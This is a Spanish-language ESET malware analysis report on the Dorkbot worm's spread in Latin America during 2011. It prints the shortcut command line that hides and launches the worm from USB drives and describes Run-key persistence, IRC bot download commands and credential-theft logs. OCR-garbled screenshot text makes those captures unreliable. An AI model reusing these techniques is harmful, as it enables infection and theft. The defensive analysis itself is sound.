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Introduccion

Desde el Laboratorio de Analisis de malware de ESET Latinoamérica investigamos y analizamos
diariamente cuales son las tendencias en relacion al desarrollo de amenazas y codigos
maliciosos en la regién. Como resultado de este trabajo se realizd la investigacién de Dorkbot,
un cédigo malicioso que en el Ultimo tiempo ha alcanzado el mayor indice de deteccion en
Latinoamérica.

Su consolidacion dentro del Top 10 del Ranking de Amenazas para Latinoamérica demuestra
claras diferencias entre la region y el resto del mundo, lo cual motivé la presente investigacion.
Esta amenaza, marca una tendencia en relacion a las técnicas de propagacion utilizadas ya que
Dorkbot logra propagarse explotando vulnerabilidades conocidas en los sistemas operativos
para luego robar informacién y convertir al equipo infectado en parte de una red botnet.

Através de una investigacion de esta familia de malware, se detallaran sus puntos fuertesy los
motivos por los cuales ha tenido tan alto impacto durante la Gltima mitad del 2011. En primer
lugar, se presentan las variantes de esta familia de c6digos maliciosos con el objetivo de
conocer sus diferencias y cualidades técnicas como asi también las metodologias de
propagacion y evolucion.

En la segunda parte del articulo se analiza la propagacién de esta amenaza en Latinoameéricay
en los distintos paises de la region, ademas de realizarse una comparacion con el resto del
mundo. Asimismo, se remarcan las diferencias entre las tendencias en la region y los indices de
deteccidn que registra este gusano, ademas de analizar una campana de propagacién puntual
realizada para Latinoameérica. Para concluir, se veran las diferencias y el analisis de los motivos
que llevaron a esta amenaza a posicionarse como el cédigo malicioso mas importante de la
regién durante el 2011.
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Sus variantes

Dorkbot es un c6digo malicioso que se propaga a través de enlaces en Internety, luego de
comprometer el sistema, infecta los dispositivos de almacenamiento extraibles que se
conecten a éste. Entre sus principales funcionalidades, cuenta con caracteristicas que le
permiten convertir el equipo infectado en parte de una red de equipos zombis (botnet). Una vez
que el sistema esta bajo el control del atacante éste puede realizar acciones como:

e Robode credenciales de sitios web como Gmail y Hotmail.

e Ataquesde denegacion de servicio

e Bloqueo de direcciones IP

e Descargay ejecucion de otros codigos maliciosos

e Inyeccidon de cédigo en paginas web

e Propagacién através de redes sociales y mensajeros instantaneos, por ejemplo el chat
de Facebook y Windows Live Messenger.

e Redireccion de trafico web para la realizacién de ataques de phishing.

Dorkbot es parte de una suite de herramientas, denominadas crimepacks, las cuales son
utilizadas para crear malware y obtener beneficios de él. Los crimepacks pueden ser adquiridos
por los cibercriminales con el objetivo de realizar ataques para el robo de informacién. Esto
significa que una vez que cuentan con el paquete de construcciéon pueden realizar distintas
campanas de propagacion de codigos maliciosos a lo largo de la region.

Como parte del crimepack, el atacante obtiene un constructor (conocido como NgrBot) con el
que puede indicar las configuraciones del c6digo malicioso para cada caso en particular, como
comandos personalizados, direccién del servidor, entre otros:

[ Narbot ¥1.2.0.1 Builder W

| ‘ Select B asel

Cryptovirology Labs

OpenSC Forurn
Cryptovirology Forum

NegrBot Builder 1.2.0.1

Imagen 1- NgrBot, constructor de Win32/Dorkbot.
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Debido a las caracteristicas mencionadas anteriormente, en conjunto con otras que seran
presentadas a continuacién, Dorkbot se ha convertido en uno de los codigos maliciosos mas
utilizados por los cibercriminales en Latinoamérica.

Para el analisis del mismo nos basaremos en las firmas creadas por ESET para la deteccion de
esta familia de malware como asi también en sus principales vectores de propagacion. Las
amenazas detectadas por ESET NOD32 Antivirus como Win32/Dorkbot.A y Win32/Dorkbot.B son
dos variantes del codigo malicioso en si. Por otro lado, las firmas Win32/Dorkbot.C,
Win32/Dorkbot.D y Win32/Dorkbot.E son técnicas de propagacion de este malware.

Dorkbot.A: el inicio

La primera variante del gusano fue detectada en abril del 2011y recopila una serie de técnicas
utilizadas por distintas amenazas para propagarse a través de los sistemas infectando
dispositivos de almacenamiento masivo, tales como las memorias USB. Segln ESET Live Grid, el
sistema estadistico de ESET, el16,20% de todas las detecciones de Dorkbot en Latinoamérica
pertenecen a esta variante.

Cuando el codigo malicioso se ejecuta por primera vez en un sistema crea una entrada en el
registro de Windows:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

De esta forma, en el préximo inicio del equipo se ejecutara una copia del codigo malicioso que
se almacena en %appdata%\<nombre_malware>.exe. Esta técnica ya es ampliamente
utilizaday, de no existir proteccion antivirus, laamenaza se ejecuta al

Propagacion en dispositivos de almacenamiento masivo

Para propagarse a través de dispositivos de almacenamiento masivo Win32/Dorkbot.A guarda
una copia de si mismo en %removabledrive’%|RECYCLER%|<nombre_malware>.exe Luego, con el
objetivo de asegurarse la ejecucion de la amenaza al conectar el dispositivo USB en otro
sistema, utiliza dos técnicas diferentes.

La primera, es una de las técnicas de propagacion mas conocidas y con mayor indice de
deteccion: la creacion del archivo autorun.inf. Este archivo contiene la direccion en la cual se
almacend el gusanoy hace uso del inicio automatico de los sistemas de Microsoft

. La explotacidon de esta funcionalidad es detectada por ESET NOD32
Antivirus como INF/Autorun.
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Por otro lado, la segunda técnica de propagacién hace uso de la vulnerabilidad que
afecta desde Windows XP hasta Windows 7. Este exploit utilizado inicialmente por

, permitié infectar una gran cantidad de sistemas demostrando que, alin con el parche
disponible, los usuarios siguen siendo vulnerables.

Para enganar al usuario, se modifican los atributos de las carpetas existentes como archivos del
sistema, para ocultarlos, y se crean accesos directos de los mismos. Finalmente, cuando el
usuario hace doble clic en el acceso directo de una carpeta para acceder a su contenido, se
gjecuta la amenaza:

— MEMORIA USB (E:) i [=] ]
%v I_ ~ Equipn ~ MEMORIA USE (E:) ~ 23 | Buscar MEMORIA LS (E:) 2]
Organizat ¥  Compartrcon *  Mueva carpeta = = E;l @
" Mombre | Fecha de modificacion | Tipa | Tamario | |
. Faworitos
4 Descargas Carpeta 1 Carpeta de archivos
Bl Escritorio Carpeta 2 —_— Archivos originales [ carpeta de archivas
J=1] Sitios recientes Carpeta 3 ocultos Carpeta de archivos
Carpeta ¢ arpeta de archivos
- Eibliotecas
@ RECYCLER 28/12j2011 04:03 p... Carpeta de archivos
Documentos
I mégenes | Archivo 1.kxt 28/12j2011 03:46 p... Documento de texto OkB
J’ Misica | Archivo 2.bxt 28/12j2011 03:46 p... Documento de texta OKE
i videos | Archivo 3.kt 28/12j2011 03:46 p... Documento de texto i<
| Archivo 4.bxt Documento de texto OKE
1% Equipo [2) Carpeta 1 Accesos directos Acceso directo ZKB
ﬂ_-’ Disco local (C:) [2) Carpetaz que ejecutan la Acceso directo 2KB
= MEMORIA LISE (E2) [2)) Carpeta s > amenaza Acceso directo Z2KB
[2] Carpeta4 Acceso direcko 2KB
€ Red

13 elementaos

-

Imagen 2- Memoria USB infectada con Dorkbot

Enlaimagen anterior puede observarse el estado de una memoria USB conectada a un equipo
infectado con una variante de Dorkbot. Este método ha resultado extremadamente efectivoy
es una de las principales herramientas que le permiti6 a esta amenaza un alto indice de
propagacion.

Control remoto y robo de informacion

Una de las principales caracteristicas de esta familia de c6digos maliciosos es la capacidad de
controlar un equipo de manera remota. A través del protocolo de comunicacion IRC (Internet
Relay Chat), Dorkbot recibe comandos que le permiten robar informacion de un equipo
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infectado como por ejemplo las credenciales de acceso a Hotmail, Facebook, Gmail, entre
otros servicios en linea.

Otra de las funcionalidades con las que cuenta este gusano es la habilidad de propagarse a
través de servicios de mensajeria instantanea. Mediante comandos remotos (también enviados
desde el administrador de la botnet a los equipos zombis), esta amenaza se propaga utilizando
Windows Live Messenger, el mensajero instantaneo de Microsoft.

Dorkbot.B: adids Autorun

La segunda variante de esta familia de c6digos maliciosos aparece a mediados del mes de mayo
de 2011. Los cambios en relacion a la primera version de este cédigo malicioso remarcan algunas
tendencias en cuanto a los métodos de propagacion utilizados.

En primera instancia, se dej6 de utilizar la propagacién a través de dispositivos de
almacenamiento masivo mediante el autorun.inf. A partir de esta variante la infeccion de
dispositivos USB se hace solo a través de la ejecucion del codigo desde los accesos directos. Este
cambio se relaciona directamente con: los sistemas operativos mas utilizados por los usuarios
en toda Latinoamérica (segln el sistema estadistico online , paralaregion,
Windows 7 es el sistema operativo mas utilizado con el 47,82%, dejando en segundo lugar a
Windows XP con el 44,53%) y con la efectividad de esta técnica de propagacion.

Nuevas funcionalidades

Entre los cambios mas importantes que se agregaron a esta segunda variante de Dorkbot se
incluye la propagacién a través del chat de Facebook. La utilizacién de las redes sociales para
la distribucién de cédigos maliciosos mediante técnicas de Ingenieria Social aument6
considerablemente el alcance del ataque.

Ademas, Win32/Dorkbot.B cuenta con la posibilidad de inyectar cédigo de manera dinamica en
paginas web cuando se accede desde un sistema infectado. Esto se hace por medio de iframes,
un recurso del lenguaje HTML que permite referenciar un sitio externo dentro de la pagina
actual. En otras palabras: cuando el usuario accede a una pagina web, el contenido puede ser
modificado por el atacante. Un ejemplo asociado al robo de informacion es ingresar un campo
mas dentro de una pagina falsa que intenta replicar el sitio web de un banco, que solicite el PIN
bancario al acceder al home banking.

Otra de las funcionalidades a remarcar de esta nueva variante se asocia con la posibilidad de
redireccionar el trafico de red. Los ataques de phishing son ampliamente utilizados en
Latinoamérica con el objetivo de robar las credenciales de acceso al home banking. Es decir, que
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Dorkbot: conquistando Latinoamérica
]
8

cada vez que el usuario se conecta a un sitio web de este tipo, su usuario y contrasefa seran
enviadas al delincuente.

Las distintas campanas de propagacién de esta amenaza la posicionan como la segunda
variante de Dorkbot mas utilizada en toda Latinoamérica con el 28,18% del total de detecciones.
Uno de los principales motivos del porcentaje de detecciones para esta amenaza se basa en sus
capacidades para el robo de informacién y propagacion.

Dorkbot.C

La tercera variante de esta familia de gusanos centra sus actividades en la explotacion de otra
vulnerabilidad de Windows publicada en el boletin de seguridad MSo4-o11. Dado el éxito de las
variantes anteriores, no ha sido muy propagada en la region.

Dorkbot.D: deteccion de enlaces directos

La utilizacion de accesos directos para engafar a los usuarios es uno de los métodos mas
eficaces para infectar un sistema desprotegido. Es por ello que la firma de esta variante detecta
directamente los archivos LNK que contienen en su interior otras variantes de Dorkbot
(mayoritariamente B). Se trata de una deteccion genérica y proactiva de la misma amenaza. La
deteccion de esta variante representa el 55,58% del total de las detecciones de Dorkbot en la
regién, confirmando este método de propagacién como primario.

Cuando se intenta acceder al contenido dispositivo USB los archivos se encuentran ocultos. Por
este motivo, una posible victima solo puede hacer clic en los accesos directos y, sin saberlo,
infectar el equipo. Esta accion es utilizada para la propagacion de Win32/Dorkbot. Ay
Win32/Dorkbot.B.

(es[:d}
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Al analizar mas en detalle este método de propagacion, se puede observar que dentro de los
accesos directos se oculta una cadena de texto. Cuando el usuario hace doble clic en él, se
ejecuta el codigo malicioso.

B Propiedades: Carpeta 1 x|

Diefio | colores | compatbidsd | Detales |
General Acceso directo | Opciones | Fuente

E Carpeta 1
g

Tipo da destina:  Aplicacién

Ubicacidn de

destina:

Destina:

system3z

Iniciar sn:

Tecla ds método
abreviado:

Ejecutar;

IN\m;unn

[Minimizada

Comentaria: |
Al ubicacion | cambiar icano. .|| opciones avangads... |

Propiedad del archivo Ink para
ejecutar el cédigo malicioso

aceptar_ | concelar | aplie |

Imagen 3 - Propagacion mediante accesos directos

Dentro del campo “Destino” que contiene la ruta a la que apunta el acceso directo, se almacena
una cadena que contiene:

%windir%\system32\cmd.exe /c "start %cd%RECYCLER\<nombre_malware>.exe
&&%windir%\explorer.exe %cd%Carpeta 1

Cuando el usuario hace doble clic sobre el acceso directo para abrir la carpeta, se ejecuta el
cédigo malicioso y luego se abre una nueva sesion del Explorador de Windows en donde se
muestra su contenido. De esta manera, Dorkbot intenta pasar desapercibido v, si el equipo no
esta protegido eficientemente por un antivirus, el mismo sera infectado.

El nivel de detecciones de esta amenaza a nivel regional refleja la importancia de analizar los
dispositivos USB con un software de seguridad cuando se conectan al equipo.

Dorkbot.E: inyector

La Gltima firma correspondiente a esta familia de codigos maliciosos se refiere a distintas
técnicas utilizadas por los cibercriminales para ocultar sus amenazas. La utilizacion de
compresores o la ofuscacion de c6digo son detectadas proactivamente de esta manera, e
internamente ocultan una variante de Win32/Dorkbot.A o Win32/Dorkbot.B.
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Cronologia en Latinoamérica

Desde la aparicion de este codigo malicioso solo fueron necesarios unos pocos meses para que
se consolide como una de las amenazas con mayor indice de deteccién en la regién. La
masificacion de Dorkbot en Latinoameérica se ha diferenciado de lo que indican las estadisticas
para el resto del mundo.

Durante el mes de diciembre de 2011, el porcentaje de propagacion de esta amenaza en la
region fue del 8%, mientras que en Europa fue del 0,8% y en Norteamérica fue de apenas del
0,26%. Desde el Laboratorio de Andlisis e Investigacion de ESET Latinoamérica se realizo el
seguimiento de este crecimiento en los paises de la region.

Asolo a cuatro meses de su primera aparicién, este cédigo malicioso se consolidé dentro de las
primeras 10 amenazas de la regién. En el siguiente grafico se puede observar la variaciéon en las
detecciones de Dorkbot en Latinoamérica:

Porcentaje de detecciones de Dorkbot en Latinoameérica

10.4%  ggge  10%

& P @ P o & o &
CA I o ;ﬁ'}@ & . & dg’ﬁ (es[

Imagen 4 - Detecciones por mes en Latinoamérica
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Durante el Gltimo semestre del ano el crecimiento de esta amenaza fue mas que considerable:
Dorkbot se ubicé entre los tres codigos maliciosos mas detectados en Latinoamérica durante
los Gltimos meses.

Analisis por pais

La cantidad de detecciones de malware en Latinoamérica ha ido creciendo a lo largo de los afos
y han comenzado a observarse ataques dirigidos a usuarios de cada uno de los paises y tal como
se observara, Dorkbot tiene una distribucién bastante marcada en distintos paises de la regién.

Sobre el total de detecciones para la regién, el primer puesto lo tiene México, con el 38,86% del
total, lo que significa que el codigo ha sido detectado en 4 de cada 10 equipos durante el 2011 en
ese pais. En segundo lugar se ubica Peru, con el 16,33%, y el podio lo completa Colombia con el
12,40%. A continuacion se muestra el Top 10 de paises donde mas se propagod Dorkbot en
Latinoameérica:

Detecciones de Dorkbot por pais

38.86%

6.41% f04% 5.48%

]

el 13
L

- l_ | 2.18% | 1.60% | 1.50%
‘@c-‘* & & N @@"ba( & & ﬁ& &
& A R G G e T

u

Imagen 5 - Ranking de deteccién por pais
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La distribucién a lo largo de Latinoameérica en lo que respecta a la utilizacién de este codigo
malicioso también difiere con el resto del mundo. Mas del 65% de las detecciones se encuentran
concentradas entre México, Per(y Colombia.

México es el pais con mayor cantidad de detecciones: Durante el mes de diciembre, el 12% de las
amenazas fue alguna variante de Dorkbot. Por otro lado, en Per(i uno de cada diez equipos ha
recibido esta amenaza durante el 2011. Finalmente, si bien Colombia esta en el tercer puesto
del ranking, la proporcion de equipos que recibieron esta amenaza es alin mayor ya que casi el
15% del total de detecciones pertenece a la familia de esta amenaza.

La amenaza en el resto del mundo

Al comparar las estadisticas de Dorkbot a nivel mundial se puede diferenciar como esta
amenaza esta siendo propagada en Latinoamérica mas que en el resto del mundo. Segln cifras
del sistema estadistico ESET Live Grid, es posible observar la distribucion de las detecciones de
esta familia de cédigos maliciosos, indicandose en color rojo aquellos paises con mayor
porcentaje de propagacion de Dorkbot respecto al total de detecciones de malware en dicho
pais:

Imagen 6 — Dorkbot en el mundo

Al observar el grafico también se observa la amplia utilizacion de esta amenaza en
Centroamérica en donde, como se presentd anteriormente, se encuentran los paises con mayor
indice de deteccién de la region. Para los cibercriminales latinoamericanos, Dorkbot esta
teniendo un alto indice de efectividad, lo que se ve reflejado en las detecciones. La propagacion

(es[4
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de esta amenaza en América Latina durante el segundo semestre del 2011, ubicandose en los
primeros puestos del ranking, refleja las tendencias reportadas por ESET Latinoamérica para
el 2012: robo de informacién y redes sociales.

Por otro lado, si se analizan los datos en cuanto a cantidad de detecciones, México y Per(
lideran el ranking, ambos con la mayor cantidad de detecciones de Dorkbot durante el 2011,
incluso mas que en paises como Rusia y Estados Unidos que cuentan con un gran nimero de
usuarios:

Detecciones de Dorkbot por cantidad (2017)

13
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Imagen 7- Detecciones de Dorkbot por cantidad

Dentro de los 20 paises con mas detecciones de Dorkbot en el mundo, la mitad de ellos son
latinoamericanos: ademas de los ya mencionados México y Peru, aparecen Colombia (42),
Chile(69), Ecuador (89), Argentina (109), Guatemala (11%), Venezuela (152), El Salvador (169) y
Bolivia (179).

(es[4


http://www.eset-la.com/centro-amenazas/articulo/el-malware-a-los-moviles/2635�
http://www.eset-la.com/centro-amenazas/articulo/el-malware-a-los-moviles/2635�

Dorkbot: conquistando Latinoamérica

14

Analisis de un caso en
Latinoameérica

Como parte del trabajo de investigacion del Laboratorio de ESET Latinoamérica, se realizo el
seguimiento de un caso en la region, en el cual se recapitularan las capacidades de este cédigo
malicioso. La informacién capturada durante el analisis permite conocer los comportamientos
de los cibercriminales en la region y como utilizan los sistemas infectados para el robo de
informacioén.

El siguiente analisis corresponde a una variante de Winz2/Dorkbot. Bque se propagd
mavyoritariamente en Per( con la finalidad de realizar ataques de phishing. Los objetivos de
este ataque son bancos de ese pais y de Chile.

Campana de propagacion

Originalmente el ataque se propagd como una supuesta recarga gratuita de una reconocida
compania de teléfonos celulares. Los usuarios que quisieran obtener este falso beneficio
descargaban el c6digo malicioso y al ejecutarlo infectaban su sistema.

Propagacion en redes sociales y mensajeros
instantaneos

Una de las acciones que se detect6 durante en el seguimiento de este ataque es que los equipos
infectados utilizaban las redes sociales y los mensajeros instantdneos para continuar
propagando la amenaza. Desde el Centro de Comando y Control se envian mensajes para
actualizar los mensajes de propagaciony el intervalo con el que seran enviados.

(es[:d}
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En la siguiente imagen, se puede observar cdmo el equipo zombi recibe las érdenes para
comenzar a propagar por el chat de Facebook (comando http.set) y por Windows Live
Messenger (msn.set) el siguiente mensaje: “esta foto de hugo chavez agonizando es realmente

impactante http://[ELIMINADO]/IMG00359268.)PG XD".

Follow TCP Stream

PING 422 MOTD
PaIN #ROCK norRof
: (i 0 bhbaavvshnst240 .3 10TH -Asocw
R g 332 { ¥ “atbnbaavv #ROCK :,up hrTp: /A
ontent /pl o e A7AESREINGOArEIADARATANINENETA | s | L]
rocksprea s fdomos. txt
[ i
OIN #rockspread
: {AR | >Pa fhhbaavy | b - - -
H . .oy 332 {M, e ieaavy drockspread
| sta foto de hugu chavez agonizande-s
AT It ebont on. 1T /1MG 9268. IPG XD ht
——q 33 W spread
MSH]: Updated MSN spread intefyal to

I[HTTP]: Updated HTTP spread intYrval to 5"
X o esta fora de hugo chave:

mdns_http:/fwww.s : v
g VR Siavy #ROCK rockstar 1325665163

kspread
int §

msn.int § Sint
iente impactante http://
oto de hugo chavez

Hal

25ta fato de hugo chavez agonizando es resimente

impactarte es realmente impactante

[ LILIMGOI35265.0PG XD | hittp:/fuwn.
/IMGO0359288.3PG XD |

| .
o e ) Propagacién del ataque en el
S hare = o Video call = (S = Games Chat dE Facebuok m
Propagacion del ataque en
Windows Live Messenger =l

Imagen 8 - Propagacion automatica
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La primera accién del codigo malicioso después de ser ejecutado es agregar una entrada al

registro de Windows para iniciarse au

tomaticamente la préxima vez que arranque el sistema.

ESET Sysinspec

ESET Smart Security Bus E
Detalle: Filtrado: e - rr=rm—ms
.

»| Procesos en ejecucion

Servicios

tor

Clave

~ Autgin

Seccion de estado: Entradas de registro importantes b Autoinicio estindar b HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Entradas de registro importantes

- ESET Syslnspactor

| Buscar |

Valor cLsip

] »

jcio estindar

EM Controladores
B Archivos criticos
(@ Informacién del sistema
i)s Detalles del archivo

B Acerca de

~ Coman
- HKL

~ Red
~ HKL

= HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

~ HKLM\SYSTEM\CurrentControlSef\Control\Session Manager\Kr

& bmdad

Difxapi
PSAFI
sechost

dos abiertos del shell

xrm-ms

Creacidn de una entrada en el registro para
ejecutar el codigo malicioso al inicio del sistema

q

<

i

Ningtin

Estado de registro

Registro actust
Piivado:

we protect your digital worlds

elemento seleccionade con asociacién de archivo.

Imagen g

Enlaimagen se puede observar como
desarrollada por ESET que permite ver

- Inicio automatico de Dorkbot

, herramienta de diagnéstico
los cambios en el sistemay el listado de archivos criticos,

muestra la creacion de una llave en el registro de Windows para ejecutar el archivo
“Dmdgdj.exe” alojado en el disco Cal iniciar el sistema. De esta manera, el atacante se asegura

que siempre se ejecute suamenaza.

(es[:d}


http://www.eset-la.com/download/sysinspector�
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Otra de las acciones realizadas por Dorkbot es el contacto con el Centro de Comando y
Control para registrar un nuevo bot (o equipo zombi) y comenzar a recibir 6rdenes. El
protocolo de comunicacién utilizado por esta familia de gusanos es IRC como se puede
corroborar en la siguiente imagen:

-lolx|

rStream Content

PASS

MICK ARG 2N
USER = whe B
001 drc.g arg
002 002 002

003 003 003

004 004 004

005 005 005

005 005 005

005 005 NNg

PING ¢ TD

ls/i S noreot

s AAERLITE— 10, #ROCK
pirc.oloo s ToCU oo 332 nfAR|xPaltfomayzn #ROCK :,] #rockspread | ,s | ,up http:ss

B e ant /plugins supdatas A Fondme] aya

B57-cAFNECEonnd CEGRAAZEIBDZDIF4D | ,mdns kit drt.com/1ibs/thumb/dom1’t.txt I
tir rg 333 nd T Zn #ROCK rocekstar 13TT3ESS8s

NOTIN #rockspread

smFan VAT e el s e e A

Imagen 10 - Conexién al servidor IRC

Cuando un nuevo equipo zombi se reporta recibe érdenes para actualizar el cddigo remoto
(comando up) y descargar el listado de direcciones URL (comando mdns). El contenido en el
archivo domit.txt indica el listado de bancos de Perd y Chile en donde se realizara phishing al
usuario infectado.

La informacién descargada sera utilizada para modificar el archivo hosts del sistema operativo
y redirigir al usuario a servidores falsos. Cuando el usuario intenta acceder a cualquiera de estas
direcciones URL cae en una pagina falsa disefiada por el atacante. Cada vez que el usuario se
conecte a estos dominios, también seran enviadas las credenciales de acceso del home banking
al atacante.
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Robo de informacion

Ademas del ataque de phishingy la propagacién a través de las redes sociales, Dorkbot cuenta
con un modulo de robo de informacién. Cuando el usuario se conecta a servicios como Gmail,
Facebook, Hotmail o Twitter, las credenciales de acceso se envian al atacante. Este proceso se
ejecuta cada vez que el usuario intenta iniciar sesiéon en alguno de estos servicios. La
sustraccion de datos personales le permite al atacante volver a propagar la amenaza con las
credenciales obtenidas de los equipos zombis.

7l Follow TCP Stream =1of x|

Streamn Content

Robo de credenciales de acceso a sitios como
Facebook, Hotmail, Gmail y Twitter

—

PRIVMSG CRROCK [d http // 17upjmrlzz. exa"
s="116226 bytes | updated hot file "C:\Dgcuments and SettingsiUsuarioh\batos de programa’kKaoeoo. exe”
- Download retries:
B 04 n " | #RBCK :vou must have a registered nick (+r) to talk on this
chamne] (#ROCK)
PRIVMSG #ROCK :TDONST: Blocked 0 domaings) - directed 28 domaings)

n{ar|xpalfomayzn #rRoCK Nvou must hawe a registered nick ¢+r) to talk on this

chamne | Q#ROCKJ

PRI\/MSG #1 :THTTP Log'm] |Facebouk o “@hotmail. com : 123

: 4 = =

PRIVMSG #1 :[HTTP Lug‘m] rL1ve —3D e @hutmaﬂ cUm : ﬂelZZl

irs Iy F T ORI

P IhC

PO " |

IEntwe conversation (6105 bytes) ;I
Eind | Save bs Print & pscIn " EBCDIC € Hex Dump € drrays  Raw
Help | Filker Qut This Stream | Close |

Imagen 11 - Robo de credenciales

Como pueden observar, se trata de un ataque complejo en el cual un equipo infectado queda
bajo el control del atacante. De esta manera, todas las acciones que se realicen en el equipo y
toda la informacion enviada puede ser monitoreada por el cibercriminal.

Es necesario remarcar que las posibles actividades que el botmaster puede realizar con un
equipo zombi incluyen ataques de denegacién de servicio o la inyeccion de c6digo en paginas
web.
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Conclusion: de Autorun a LNK

La consolidacion de Dorkbot como el codigo malicioso con mayor indice de deteccion de
Latinoamérica refleja un cambio en las técnicas de propagacion de amenazas de la region. En
primera instancia, se observa cdmo la masificacién de las botnet se desarrolla a lo largo de todo
el continentey la ejecucion de ataques locales esta en aumento.

Otro de los puntos a tener en cuenta en lo que respecta a las técnicas de propagacion, es la
utilizacion de los accesos directos para la infeccion de un sistema. Desde la aparicion de
Dorkbot, el indice de deteccion para otras familias de codigos maliciosos como INF/Autorun o
Win32/Autorun ha disminuido considerablemente:

i '

Del Autorun al LNK

Detecciones Dorkbot

! " ——
—o—'\d Detecelones INFAutarun
8 =

e
Detecciones Wini2/Autorun

: T

?3& ﬁpﬁ“ \ﬁ‘ & ?ﬁﬁﬁoﬁcﬁ@@ﬁ:ﬁ @ET

Imagen 10 - Relacion entre detecciones de Dorkbot y Autorun

Uno de los principales motivos para este cambio en las técnicas de propagacion utilizadas, esta
acompanado de la evolucion de los sistemas operativos. En las Ultimas versiones de los
productos de Microsoft, la ejecucion automatica de medios de almacenamiento extraible se
encuentra desactivada. Esta modificacion lleva a los desarrolladores de c6digos maliciosos a
implementar nuevas técnicas de propagaciony, en el caso particular de Dorkbot, han sido
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efectivas y se ven reflejadas en las estadisticas de todala regién: en 6 meses se consolidé
como el c6digo malicioso con mayor indice de deteccién para Latinoamérica.

Dorkbot es el c6digo malicioso con mayor crecimiento para Latinoamérica en el 2011, se ha
propagado a través de dispositivos de almacenamiento masivo, redes sociales y mensajeros
instantaneos con el objetivo de robar informacién. Sin embargo, el impacto que tuvo en
Latinoamérica, a diferencia del resto del mundo, remarca la falta de conciencia en lo que
respecta a la utilizacion de software licenciado y la instalacion de los parches de seguridad.
Ademas, es importante tener en cuenta que la educacion es un factor muy importante en lo que
respecta a la seguridad informatica, ya que ayuda a mitigar los incidentes tanto para entornos
hogarenos como empresariales.
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